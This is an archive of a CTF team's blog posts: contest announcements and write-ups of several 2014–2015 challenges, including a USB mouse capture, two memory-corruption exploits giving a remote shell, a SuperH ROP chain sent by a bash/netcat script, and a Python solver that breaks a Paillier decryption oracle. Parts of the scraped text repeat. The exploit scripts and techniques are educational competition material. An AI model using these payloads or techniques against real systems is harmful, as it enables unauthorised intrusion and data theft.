Our CTF in Kraków ended today - big "Thanks!" goes to each and every team and player that participated, we hope you had fun :). After 27 hours of playing and quite a lot of shuffling going up all around the scoreboard, the winners were decided:
1. MSLC
2. H4x0rPsch0rr
3. SpamAndHex
Congratulations!
We'll probably write another post about the CTF/tasks/etc later on (after everyone gets enough sleep - currently some of our team members had forgotten what "sleep" is), however due to popular demand we wanted to publish the slides of our post-CTF presentation during which we explained the key points of all tasks we published during the CONFidence 2015 CTF:
Link: Tasks Explained
(It's a Google Slides presentation. To download in PDF please click File → Download → PDF.)
Please also find a quick photo of the final first page of the scoreboard below. And with that we'll end this post for now - good night!
Tuesday, May 26, 2015
Thursday, April 23, 2015
The CONFidence Teaser CTF takes place this weekend!
The registration has just started at the event's website, https://ctf.dragonsector.pl/, and will stay open all throughout the game.
A quick rundown on the basic information is as follows:
- Start: 25 April 2015, 10:00 CEST
- End: 26 April 2015, 10:00 CEST
- Duration: 24h
- Format: online, jeopardy, team-based, no team size limit, teaser
- Categories: web, re, pwn, crypto, stegano
- Contact (IRC): #dragonsector @ irc.freenode.org
- Contact (e-mail): ctf@dragonsector.pl
Prizes:
Top 1:- Travel allowance if coming to the offline event (up to 4*500 USD for European teams and 4*1500 USD for non-European teams)
- 4 conference passes for CONFidence
- 4 places in a rent-out hostel for conference attendees
- 4 conference passes for CONFidence
- 4 places in a rent-out hostel for conference attendees
See you on the battlefield!
Monday, March 2, 2015
Boston Key Party 2014 / Riverside
Get the file :
# wget http://bostonkeyparty.net/challenge.pcapng.28c58da9dd07532d45aa68f9b825941e
# file challenge.pcapng.28c58da9dd07532d45aa68f9b825941e challenge.pcapng.28c58da9dd07532d45aa68f9b825941e: pcap-ng capture file - version 1.0
Lot of USB data inside:
# tshark -r challenge.pcapng.28c58da9dd07532d45aa68f9b825941e | head
1 0.000000000 host -> 1.0 64 USBHUB GET_STATUS Request
2 0.000011000 1.0 -> host 68 USBHUB GET_STATUS Response
3 0.074167000 host -> 12.0 64 USB GET DESCRIPTOR Request DEVICE
4 0.075077000 12.0 -> host 82 USB GET DESCRIPTOR Response DEVICE
5 0.150556000 host -> 1.0 64 USBHUB GET_STATUS Request
6 0.000015000 host -> 1.0 64 USBHUB GET_STATUS Request
Device [12.0] description:
DEVICE DESCRIPTOR
bLength: 18
bDescriptorType: DEVICE (1)
bcdUSB: 0x0200
bDeviceClass: Use class info in Interface Descriptor (0x00)
bDeviceSubClass: 0
bDeviceProtocol: 0
bMaxPacketSize0: 8
idVendor: 0x046d <---- Logitech Inc.
idProduct: 0xc00e <---- Logitech Optical Mouse,
bcdDevice: 0x1100
iManufacturer: 1
iProduct: 2
iSerialNumber: 0
bNumConfigurations: 1
( Ref: http://www.pcidatabase.com/vendor_details.php?id=1691)
Take sample data:
# tshark -r challenge.pcapng.28c58da9dd07532d45aa68f9b825941e 'usb.device_address == 12' -x
....
105 5.078857000 12.1 -> host 68 USB URB_INTERRUPT in
0000 c0 44 a9 c7 00 88 ff ff 43 01 81 0c 02 00 2d 00 .D......C.....-.
0010 7f 99 ea 54 00 00 00 00 93 3c 09 00 00 00 00 00 ...T.....<......
0020 04 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 ................
0030 08 00 00 00 00 00 00 00 04 02 00 00 00 00 00 00 ................
0040 00 01 00 00
....
Find tech spec:
struct mouse_report_t
{
uint8_t buttons;
int8_t x;
int8_t y;
int8_t wheel;
}
Write parser -> och it is on-screen keyboard:)
Enhance parser :
Monday, January 19, 2015
31C3 CTF - Mynx (Pwn 30)
After selecting this challenge we were welcomed by a rather laconic description:
Once connected to the service, we were greeted by the following menu:
| Menu |
It appeared to be some kind of a storage service for ASCII art. We could upload ASCII arts, add comments and apply filters. After fuzzing the input for a while we didn’t discover anything useful, so it was time to look inside the executable.
Reversing the binary
The file command
revealed that it was an x86 ELF executable. After opening it in IDA we
could see a main loop which was responsible for displaying the
minimalistic menu shown in the previous picture. Its C representation looks something like that:
Because vulnerabilities are often caused by badly handled user input it is a good idea to look for some potential overflows. There are 3 places where input from user is requested:
![]() |
| Main function |
Because vulnerabilities are often caused by badly handled user input it is a good idea to look for some potential overflows. There are 3 places where input from user is requested:
- the read_3_digits function
- the add_art function
- the add_comment function
When adding a new structure, the program looked for the first free slot and placed the structure there. We reconstructed the “art” and “comment” structures, which were both 256 bytes long:
Vulnerability
These structures were filled when a new ASCII art or a comment was added. The interesting fact was that, when a comment was added, 252 bytes of input were read into a buffer of size 251, so there was an overflow after all!
It was just a single byte, but that was all we needed. Using this one byte we could overwrite the first byte of the next structure which was a type field. So we could convert a comment object into an art object and vice versa. The first one was particularly useful because when a comment was interpreted as an ascii_art then the first 4 bytes of the comment string were interpreted as a function pointer named “filter_method”. By applying a filter we would be executing arbitrary address with our string as first argument. In other words, we could simply call system() and get a remote shell. :)
All we needed was to overwrite a comment and change it to art.
After that there would be two ascii_art structures with the same id
(ascii art and its comment converted to ascii_art). We needed our
transformed comment to be earlier in memory so that it was selected
first. We achieved this by making use of the remove_comments function. This step could have been done in many different ways but we discovered the following first:
- Add two ascii_arts A1 and A2.
- Add two comments C1 and C2 (Cx is a comment for Ax).
- Add ascii_art A3.
- Remove comment C2 and add comment C3 (it will be put in C2’s place).
- Remove comment C1 and add comment C2 (it will be put in C1’s place).
With
the last one we overwrited C3’s type field and turned it into an ascii
art. It was placed before the original A3 and thus when ascii art with
id=3 was requested our spoofed art was selected. Applying a filter
resulted in arbitrary address call with the argument being an address of
a controlled string.
Exploitation
Because ASLR as well as NX were enabled (no PIE/RELOC though), we needed a memory leak in order to call the system function (or we could have created a ROP but come on - we had function call with our string as argument).
Fortunately for us, there was a printf
function imported by the executable, so we could force a format string
vulnerability by simply calling it with a controlled string. Sadly, our
format string was not stored on the stack, so leaking .got entries
became much, much harder than it typically is.
Cheer up, not everything was lost. The “main” function is not called directly at program startup but through the __libc_start_main function which is a part of libc, so the return address from the main function also resides in libc. And this one is definitely on the stack.
After
finding the correct offset and leaking the address, all we needed to do
in order to get the flag was to find out what version of libc the
system was using (so we could calculate the distance between the leaked
return address and the system
function).
In the end, we failed to identify the specific libc build
and consequently had to brute force the offset remotely. It took
approximately 8 hours, but we eventually got the system address right and obtained the flag.
Conclusions
To exploit this challenge we used function pointer overwrite, combined with custom memory management, and then forced format string vulnerability by calling printf function. Knowing libc base address we called system() and spawned remote shell.
It was a great CTF challenge and I personally enjoyed how the solution leveraged one vulnerability to cause another. I thank the organizers for interesting contest and I hope it will be even better next year.
Tuesday, December 30, 2014
31C3 CTF - Nokia 1337 (Pwn 30)
Here you are, playing a CTF with you mates in Hamburg. You notice there's a new task, “Nokia 1337”.
...Oh. Oh my.
Club Mate and Rum (it's called a Tschunk!) in hand, you give it a shot...
As you might've noticed, there isn't really a way for the caller to get the template length before calling the function - this looks bad. So, where is this function used? Well, when we wish to insert the template into our SMS. Here's the relevant code:
Enter the trilogy: pwn this phone. Please use only the qemu provided.You download the image, fire it up in Qemu and...
Remote instance requires proof of work: nc 188.40.18.78 1024Connect locally via telnet to localhost:10023 after qemu booted completely.
![]() |
See the phone boot up on http://q3k.org/nokiaboot.webm
|
Club Mate and Rum (it's called a Tschunk!) in hand, you give it a shot...
The challenge
The challenge is the first part of a trilogy of awesomeness prepared by the organizers of the 31C3 CTF. You were given a qemu machine that booted up into a Nokia-like ncurses interface. The machine was an emulated Xilinx Zynq ARM SoC. There was a low-privileged mobile user and a root user. The mobile user had the ncurses UI (a binary with DWARF debug symbols, phew) set as a shell. There was also a baseband communication coprocessor that was essential to solving the second and third parts of the challenge.
Locally, we could log in as root and see that there was a /home/mobile/flag file, containing placeholder text. Remotely, we could only access the ncurses UI via telnet. Obviously, we had to get remote code execution through the UI and read the flag.
The “phone” didn't have that much functionality. You can send and receive SMS messages, save, remove and retrieve contacts, and save, remove and use SMS templates. All storage was handled by an SQLite3 database.
The bug
As previously mentioned, the UI is a DWARF-enabled ARM binary. It's nonrelocatable, and has a writeable and executable data section. This makes our life easier.
After doing some analysis of the binary, I found an interesting function - db_get_template, which is used to retrieve a saved template from the database into a buffer. Why is it interesting? Well, let's take a look at its' signature:
The index parameter is given by the caller to identify the ID of the template we want to retrieve. intidptr can be provided by the user to get information on the internal DB ID of the template. textptr is the output buffer address given by the caller. lenptr can be passed to receive the amount of data written to the buffer.
Set sail for fail.
As you might've noticed, there isn't really a way for the caller to get the template length before calling the function - this looks bad. So, where is this function used? Well, when we wish to insert the template into our SMS. Here's the relevant code:
This is the code called when the user selects a template to be inserted into an SMS message. text, at 0x1C600, is a global buffer of the currently edited text message, text_len is a global int of the current text message length. How large is text, you ask?
Iceberg, right ahead!
And since a template can also be 160 characters... Whoops! We have an overflow past the end of this buffer.
Your shipment of fail has arrived,
The exploit
Let's see what can we do with this. What's past this buffer? There's a 0x30-byte long structure named screen_input_dialog_arguments that contains data on how an input screen module should be called when inputting a number (when sending a message). While there's a few function pointers that we could overwrite there, there are also a whole bunch of pointers into complex structures. While doable, it's not something I'd like to have to fix up with my exploit in order to get one of the pointers called without crashing. Maybe there's a better attack vector?
The next structure that we can overflow is screen_sms_write, a structure defining the callbacks that are called by the UI layer when we leave, enter, or input data in the SMS write screen. This looks promising! The first callback normally points to sms_write_enter, and is called when we enter the SMS write screen. So, in theory, we could overflow that pointer, leave the SMS text editor, re-enter it and then the code execution would jump wherever we want. Nice, let's try that.
Let's say we make a 160-byte long template, with the last four bytes containing the address we want to write into the first callback at 0x1C6D4. Since the message buffer starts at 0x1C600, this means that our combined message+template text should have 216 bytes. Since the template is 160-bytes long, our message should be 56 bytes long. Here's what I did to test whether this attack works:
![]() |
| Eww. |
The next structure that we can overflow is screen_sms_write, a structure defining the callbacks that are called by the UI layer when we leave, enter, or input data in the SMS write screen. This looks promising! The first callback normally points to sms_write_enter, and is called when we enter the SMS write screen. So, in theory, we could overflow that pointer, leave the SMS text editor, re-enter it and then the code execution would jump wherever we want. Nice, let's try that.
![]() |
| Groovy, Baby! Yeah! |
- I created a new template, with 156 'B' characters and 4 'Z' characters. I saved it into memory.
- I created a new message, with 56 'A' characters. I then inserted the previously crafted template at the end.
- I exited the message editor and re-entered it.
- I observed that the UI crashed.
So, we get a crash. If we attach GDB into the qemu stub and break around, we do indeed see a failed jump to 0x5A5A5A5A ('ZZZZ' treated as a pointer). So our smashing works!
Surprisingly, this was the easy part of the exploit. Now onto the hard part, especially if you're new to ARM exploitation....
Weaponization
We need a shellcode. Apparently, all public ARM shellcodes suck, especially if they can't contain 0x00, 0x0A, 0x1A, 0x1B and 0x1C characters. I ended up writing my own, and it's not very pretty:
![]() |
| 'shiiii' is the sound I make each time I look at this. |
The next step was to automate typing in the shellcode and other long strings into the UI. I wrote a proxy server in Python that would let me connect from a Telnet terminal and also trigger certain automated actions (typing in production token, credentials, template and SMS message). My final exploit looks like this:
- Create a new template, with 156 'A' characters and 4 bytes of our shellcode address - 0x1C604. Remember, we can't send zeroes, so I had to add 4 to the message buffer address.
- Create a new message with our shellcode, padded from the left with 4 'Z' characters, and from the right with enough 'Z' characters to make the whole thing be 56 bytes long. Now our shellcode is at 0x1C604 in memory.
- Insert our template. Now we've overflowed 0x1C64, our shellcode address, into the sms_write_enter callback.
- Exit the message screen, and re-enter it. Now we're executing our shellcode, which in turn dooes execve("/bin/sh\0", 0, 0).
- Get flag.
- ????
- PROFIT
The final exploit code can be found at https://github.com/q3k/ctf/tree/master/31c3/nokia.
And here's a video of the pwn happening:
An excellent challenge and CTF overflow. Thanks CCCAC and StatumAuhuur for the challenge, and thanks fail0verflow and pasten for the fierce competition!
But there are two parts left.... stay tuned.
But there are two parts left.... stay tuned.
Thursday, December 11, 2014
SecCon 2014 - Japanese super micro-controller (exploitation 500)
As usual, when CTF tasks are marked with the exploitation tag, a binary file is made available and contestants are instructed to connect to a specific port on a specific IP in order to solve the challenge.
Executing the file command on the provided binary gives the following output:
$ file passcheck-sh
passcheck-sh: ELF 32-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
If you are as old as I am :), then maybe you remember this Japanese company under name Hitachi, which developed its own CPU core called SuperH (SH). This is it; the company at some point sold the IP rights to Renesas, and we call this - now somewhat forgotten CPU architecture - Renesas SH. By the way, the predecessor of this CPU - SH-2 - was used as main CPU in some Sega consoles back in times.
Well, after a quick session with a search engine I managed to find both big- end little-endian SH emulators for Linux (in the qemu package), but further research revealed that the operating systems (user-lands) come in the little-endian flavor only and we have a big-endian binary. Bummer!
Having a working OS image would be a real help. In such case I would be able to debug the thing, and tests various stages of the exploit developed. Unfortunately, creating even a stub of OS (bash and friends) would take quite a lot of time, so I decided to simply use the little-endian flavor. And it turned out to be quite useful later on.
While booting the emulator, I opened the file in IDA-Pro, and took a look at the resulting disassembly stream. It was rather straightforward. I was able to rather quickly understand the meaning of basic assembler instructions (mov, jsr, rts, sts, lds, trapa, nop) and how the registers are utilized (e.g. r15 as SP). The only peculiar thing was the syscall execution procedure (function names are completely mine).
.text:00004054 syscall_write: .text:00004054 sts.l pr, @-r15 .text:00004056 mov r4, r1 .text:00004058 mov r5, r2 .text:0000405A mov r6, r7 .text:0000405C mov #4, r4 .text:0000405E mov r1, r5 .text:00004060 mov.l #maybe_syscall, r0 .text:00004062 jsr @r0 ; maybe_syscall .text:00004064 mov r2, r6 .text:00004066 lds.l @r15+, pr .text:00004068 rts .text:0000406A nop
...
.text:0000401C maybe_syscall: .text:0000401C .text:0000401C trapa #h'22 .text:0000401E rts
As you can see, the syscall value is passed in r4, while by reading the Linux kernel I found out that it should be r3. Also, arguments to syscalls are passed in r5, r6, r7 while in the vanilla Linux kernel it's r3 (syscall number), r4 (1st argument)... and so on.
maybe_syscall:
mov r4, r3
mov r5, r4
mov r6, r5
mov r7, r6
trapa #0x17
rts
Also, addresses of our binary will differ from the original one due to this modification so I didn't care about moving the .text secion to the address of 0x4000.
Ok, now we have a working binary, but it's incompatible (endianess). Still, it's very useful for testing. Typing a lot of ASCII characters (a typical first test) as a response to Input password: resulted in
That's real gem! We can basically populate stack with data, and the code will simply load registers and call whatever function we like e.g. maybe_syscall (i.e. it will call any address, but we can redirect it to the maybe_syscall function by setting PR to a correct value).
There's only one thing that needs to be changed here though. If we did what I just described the maybe_syscall function will loop itself forever, because under SuperH the last return address is stored in the PR register and not on the execution stack. Therefore I had to jump trough a jsr/rts stub, which can be found here:
To sum up our ROP: 0x00004028 (load registers), 0x00004028 (change PR register to a controlled value by doing jsr maybe_syscall, and return back to our gadget), 0x0000401C (our syscall invocation). The sequence of syscalls that I wanted to execute was:
== 02 ===
Input password: flag.txt
== 03 ===
Input password: flag.txt
== 04 ===
Input password: flag.txt
== 05 ===
Input password: flag.txt
== 06 ===
Input password: SECCON{CakeOfBeanCurd}
== 07 ===
Input password: flag.txt
Executing the file command on the provided binary gives the following output:
$ file passcheck-sh
passcheck-sh: ELF 32-bit MSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Well, after a quick session with a search engine I managed to find both big- end little-endian SH emulators for Linux (in the qemu package), but further research revealed that the operating systems (user-lands) come in the little-endian flavor only and we have a big-endian binary. Bummer!
Having a working OS image would be a real help. In such case I would be able to debug the thing, and tests various stages of the exploit developed. Unfortunately, creating even a stub of OS (bash and friends) would take quite a lot of time, so I decided to simply use the little-endian flavor. And it turned out to be quite useful later on.
While booting the emulator, I opened the file in IDA-Pro, and took a look at the resulting disassembly stream. It was rather straightforward. I was able to rather quickly understand the meaning of basic assembler instructions (mov, jsr, rts, sts, lds, trapa, nop) and how the registers are utilized (e.g. r15 as SP). The only peculiar thing was the syscall execution procedure (function names are completely mine).
.text:00004054 syscall_write: .text:00004054 sts.l pr, @-r15 .text:00004056 mov r4, r1 .text:00004058 mov r5, r2 .text:0000405A mov r6, r7 .text:0000405C mov #4, r4 .text:0000405E mov r1, r5 .text:00004060 mov.l #maybe_syscall, r0 .text:00004062 jsr @r0 ; maybe_syscall .text:00004064 mov r2, r6 .text:00004066 lds.l @r15+, pr .text:00004068 rts .text:0000406A nop
...
.text:0000401C maybe_syscall: .text:0000401C .text:0000401C trapa #h'22 .text:0000401E rts
In order to run a working binary (on a little-endian system) I had to modify it (i.e. the IDA-Pro assembler output) a bit before compiling with gcc. After this modification, the maybe_syscall took the following form:
mov r4, r3
mov r5, r4
mov r6, r5
mov r7, r6
trapa #0x17
rts
Let's compile and run it:
$ gcc -Wl,-Tdata=0xffa000 pass.s -o pass -nostdlib
$ ./pass
Input password:
Voila!
BTW, the -Wl,-Tdata=0xffa000 flag is necessary, because the original binary used this memory chunk as a stack, by doing:
.text:00004000 _start:
.text:00004000 mov.l #h'FFB000, r15
.text:00004002 mov.l #stage1, r1
.text:00004004 jsr @r1 ; stage1
Ok, now we have a working binary, but it's incompatible (endianess). Still, it's very useful for testing. Typing a lot of ASCII characters (a typical first test) as a response to Input password: resulted in
$ ./pass
Input password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Segmentation fault
Is it our bug? We could read the output of IDA-Pro, but we can also (in absence of working gdb, which was simply crashing with any binary) use...
$ strace -e trace=none ./pass
Input password: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--- SIGSEGV {si_signo=SIGSEGV, si_code=SEGV_MAPERR, si_addr=0x41414141} ---
+++ killed by SIGSEGV +++
Segmentation fault
Well, ok, the SEGV_MAPPER value can stand for at least a few things: unmapped address, bad permission bits, address execution fault, address fetch fault etc. So, reading output of the disassembler to confirm our assumptions is always a good idea. I did it (spent some time with annotating functions and trying to understand the execution flow), and yeah, that's out bug (buffer overflow on the stack and no ASLR/PIE/SSP).
Update: Later that day I realized that I could have used 'strace -i -e trace=none ./<binary>' to confirm that IP is set to 0x41414141.
Update: Later that day I realized that I could have used 'strace -i -e trace=none ./<binary>' to confirm that IP is set to 0x41414141.
Should be easy, right? Well.. not really, the stack is non-executable. Or, rather it is, but only under the qemu emulator and not while testing it on the CTF infrastructure (by creating a simple exploit, and compiling it under my SH emulator, which can, BTW, compile both for little- and big-endian CPUs).
So, were they using a real SuperH machine (Linux on Sega:)? Interesting. At this point the only one thing I could think of was, wait for it, ROP! :)
So, were they using a real SuperH machine (Linux on Sega:)? Interesting. At this point the only one thing I could think of was, wait for it, ROP! :)
By using user version of the qemu-sh emulator (qemu-sh4) and testing it with AAAAAAAAAAAAAA..... input I realized that ip, r4, r5, r6 and r7 registers held my 0x41414141 values as well, which seemed awesome, because authors of the challenge basically must have given to us a ROP gadget which is preparing registers for syscalls. One of those gadgets is located here:
.text:0000424C mov.l @r15+, r7
.text:0000424E mov.l @r15+, r6
.text:00004250 mov.l @r15+, r5
.text:00004252 mov.l @r15+, r4
.text:00004254 lds.l @r15+, pr
.text:00004256 rts
.text:00004254 lds.l @r15+, r8 (due to delayed branching
it will be executed as well!!!)
.text:00004254 lds.l @r15+, r8 (due to delayed branching
it will be executed as well!!!)
There's only one thing that needs to be changed here though. If we did what I just described the maybe_syscall function will loop itself forever, because under SuperH the last return address is stored in the PR register and not on the execution stack. Therefore I had to jump trough a jsr/rts stub, which can be found here:
.text:00004028 mov.l #maybe_syscall, r0
.text:0000402A jsr @r0 ; maybe_syscall
.text:0000402C nop
.text:0000402E lds.l @r15+, pr
.text:00004030 rts
open:
- syscall_nr: 5
- arg_1 = ptr to "flag.txt" (provided by me on the stack)
- arg_2 = 0 (O_RDONLY)
- arg_3 = irrelevant (not used with O_RDONLY)
read:
- syscall_nr: 3
- arg_1 = resulting file-descriptor (unknown to us at this point)
- arg_2 = ptr to a free stack buffer (we can simply overwrite the "flag.txt" string here) - 0x00FFB02C
- arg_3 = some numeric value, like 20 or 30 or so (number of bytes to read, roughly equal or greater than the expected flag size)
write:
- syscall_nr: 4
- arg_1 = 1 (stdout)
- arg_2 = ptr to our buffer - in our case: 0x00FFB02C
- arg_3 = some low-number value (number of bytes to write)
At this point I didn't know what file-descriptor number will the open syscall return. I assumed it's 3, but one never knows, so I chose to brute-force it :). The resulting shell-code is attached below: (admit it, bash haxxxoring is the best haxxxoring, python s..cks :). An alternative would be to invoke close(3) before calling open.
#!/bin/bash
while [ 1 ]; do
for x in `seq 2 20`; do
A=`printf "%02x" $x`;
echo == $A === >>/tmp/haslo;
{ echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xB0\x2C\x00\x00\x00\x05";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x00\x40\x00\xFF\xB0\x2C\x00\x00\x00\x$A\x00\x00\x00\x03";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x03\x00\x00\xFF\xB0\x2C\x00\x00\x00\x01\x00\x00\x00\x04";
echo -ne "\x00\x00\x40\x28";
echo -ne "flag.txt\x00";
echo; } | nc -v micro.pwn.seccon.jp 10000 >>/tmp/haslo;
done
done
while [ 1 ]; do
for x in `seq 2 20`; do
A=`printf "%02x" $x`;
echo == $A === >>/tmp/haslo;
{ echo -ne "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xFF\xB0\x2C\x00\x00\x00\x05";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x00\x40\x00\xFF\xB0\x2C\x00\x00\x00\x$A\x00\x00\x00\x03";
echo -ne "\x00\x00\x40\x28";
echo -ne "1111";
echo -ne "\x00\x00\x42\x4C";
echo -ne "\x00\x00\x03\x00\x00\xFF\xB0\x2C\x00\x00\x00\x01\x00\x00\x00\x04";
echo -ne "\x00\x00\x40\x28";
echo -ne "flag.txt\x00";
echo; } | nc -v micro.pwn.seccon.jp 10000 >>/tmp/haslo;
done
done
After couple of iterations (because the resulting file-descriptor from the open syscall can be anything, and we need to match it with the second read syscall), the password will appear in /tmp/haslo :).
Input password: flag.txt
== 03 ===
Input password: flag.txt
== 04 ===
Input password: flag.txt
== 05 ===
Input password: flag.txt
== 06 ===
Input password: SECCON{CakeOfBeanCurd}
== 07 ===
Input password: flag.txt
Tuesday, October 14, 2014
ASIS CTF Finals 2014 - Ultra Secure (Crypto 400)
Here we use a well-known cryptosystem, which introduced in late 90s as a part of PhD Thesis. This cryptosystem is a probabilistic asymmetric algorithm, so computer nerds are familiar with the basics. The power of this cryptosystem is based on the fact that no efficient general method for computing discrete logarithms on conventional computers is known. In real world it could be used in a situation where there is a need for anonymity and a mechanism to validate, like election.The answer is "Paillier" (https://en.wikipedia.org/wiki/Paillier_cryptosystem). It's a public-key cryptosystem, which has an interesting property - it's homomorphic. I'll explain this term in a moment, after we see what we need to solve the challenge.
What's the name of this cryptosystem?
After solving the riddle, the server sends a secret (same value for every connection):
The secret is: 45710623737087701711820134797542238364727935815041561117965550719730211404995880962189849763186419941404256428269541230638298594081804054803929405338706331501510355769791788035782101048794197150178174026969607210826909631760346060869225182396182048777369368142016863385200586265163953840808342248328628488558966204179925698305553258440383522033840372138701862745580428470631799476191017336213672662419943702985732053645939959855799510630518494500337262650866518227631714070805564029135334485129969768206948775297659476280347999959347004640627153560223776086816027050734375066512946795924861244218488564290260122095Afterwards, it asks in a loop:
Tell us your choise:We are able to encrypt and decrypt arbitrary messages (numbers). It is clear that the encryption scheme uses the Paillier cryptosystem, but we don't know the keys (neither private nor public key).
------------------------
[E]ncrypt: [D]ecrypt:
Let's try to decrypt the secret:
[E]ncrypt: [D]ecrypt: DThat would be too easy ;) But now we can be sure, that the objective is to decrypt that number with server's private key. It's a time for more information about the cipher. Paillier cryptosystem is homomorphic, which means that we can make some computations on ciphertext (without knowing plaintext nor private key) which will result in predictable changes in plaintext after decryption. One of Paillier properties allows us to add any value to a plaintext:
Tell us your secret to decrypt: 45710623737087701711820134797542238364727935815041561117965550719730211404995880962189849763186419941404256428269541230638298594081804054803929405338706331501510355769791788035782101048794197150178174026969607210826909631760346060869225182396182048777369368142016863385200586265163953840808342248328628488558966204179925698305553258440383522033840372138701862745580428470631799476191017336213672662419943702985732053645939959855799510630518494500337262650866518227631714070805564029135334485129969768206948775297659476280347999959347004640627153560223776086816027050734375066512946795924861244218488564290260122095
Don't fool me! X-(
$$D(E(m_1)*E(m_2)\ mod\ n^2) \equiv m_1+m_2 \pmod{n}$$where D is the decryption function, E is the encryption function (which is randomized, I hid the random argument for simplicity), n is a number contained in both the private and public key, and m1 and m2 are plaintext messages.
Random interesting note: Unpadded RSA has a homomorphic property too: multiplication of ciphertexts results in multiplication of plaintexts after decryption.
What we want to do is to fool the server into decrypting something which is not the original secret, but we are able to recover it after decryption. The simplest idea is to just add 1 to the secret and ask server to decrypt it:
$$secret = E(secret\_plaintext)\\ D(secret * E(1)\ mod\ n^2) \equiv secret\_plaintext + 1 \pmod{n}$$
To do that, we need to know the modulo n. We will use the property that E() can encrypt only values that are smaller than n. Let's check what we get after querying some really big value to E():
[E]ncrypt: [D]ecrypt: E
Tell us your message to encrypt: 99999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999
Your message is too long! :(
Bingo ;) We can find the modulo using binary search. Now we have everything we need to write a solver. Here's mine:
import socket host = 'asis-ctf.ir' port = 12445 # cut_between('smth: 123; adsf; ', 'smth: ', '; ') == '123' def cut_between(source, before, after): pos1 = source.find(before) pos2 = source.find(after, pos1 + len(before) + 1) assert pos1 != -1 assert pos2 != -1 return source[pos1 + len(before) : pos2] # decrypts or encrypts given input, mode: 'E' or 'D' def ask(input, mode): global conn while True: try: conn.sendall(mode + '\r\n') data = conn.recv(1024) # 'Tell us your message to encrypt: ' conn.sendall('%d\r\n' % input) data = '' while '[D]ecrypt:' not in data: data += conn.recv(1024) if 'too long' in data: return -1 if 'None' in data: return None return int(cut_between(data, 'Your secret is: ', '\n')) except IOError: print 'Connection failed!' def E(input): return ask(input, 'E') def D(input): return ask(input, 'D') def find_N(): # length of N should be similar to the length of the secret start = 10**307 end = 10**311 assert ask(p, 'E') != -1 assert ask(k, 'E') == -1 # binary search while start < end: mid = (start + end) / 2 res = ask(mid, 'E') if res == None: # server sends 'None' for 0 and n-1 return mid + 1 if res == -1: end = mid else: start = mid + 1 print '[%d, %d]' % (start,end) return start if __name__ == '__main__': conn = socket.socket(socket.AF_INET, socket.SOCK_STREAM) conn.connect((host, port)) print conn.recv(1024) # riddle print conn.recv(1024) # question answer = 'Paillier' print answer conn.sendall(answer + '\r\n') data = conn.recv(1024) secret = int(cut_between(data, 'is: ', '\n')) data = conn.recv(1024) n = find_N() secret_plaintext = D((E(1) * secret) % (n**2)) - 1 # flag: ASIS_85c9febd4c15950ab1f19a6bd7a94f85 print hex(secret_plaintext)[2:].rstrip('L').decode('hex')
Subscribe to:
Posts (Atom)











